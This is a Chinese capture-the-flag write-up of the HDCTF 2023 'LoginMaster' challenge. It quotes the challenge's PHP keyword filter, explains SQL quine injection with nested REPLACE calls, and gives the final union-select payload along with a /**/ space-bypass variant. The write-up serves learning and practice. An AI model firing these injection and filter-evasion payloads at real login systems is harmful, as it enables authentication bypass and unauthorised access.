题目来源:[HDCTF 2023]LoginMaster | NSSCTF
quine注入原理:SQL注入之Quine | skkyblu3 (kksky.blue)
1.直接用万能密码测试提示只有admin能登录,接着尝试访问robots.txt提示代码为
function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php');
有很多字符被过滤,而且要满足输入的输入的password与表中password相同
2.看了别人的wp之后,了解到了quine注入这种方式,要满足语句
if ($row['password'] === $password)
但其实这张表是空表,没有password字段,这时就要用quine注入使得输入结果与输出结果相同
3.简单分享我对quine注入的理解
要进行quine注入首先要知道要用的函数replace
REPLACE ( string_expression , string_pattern , string_replacement )
即将string_expression中所有string_pattern替换为string_replacement
利用如下语句时
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
会使输入值与查询结果完全相同,具体实现过程看上面的链接,有全面的解释
4.本题payload
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
空格,更换为/**/即可
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#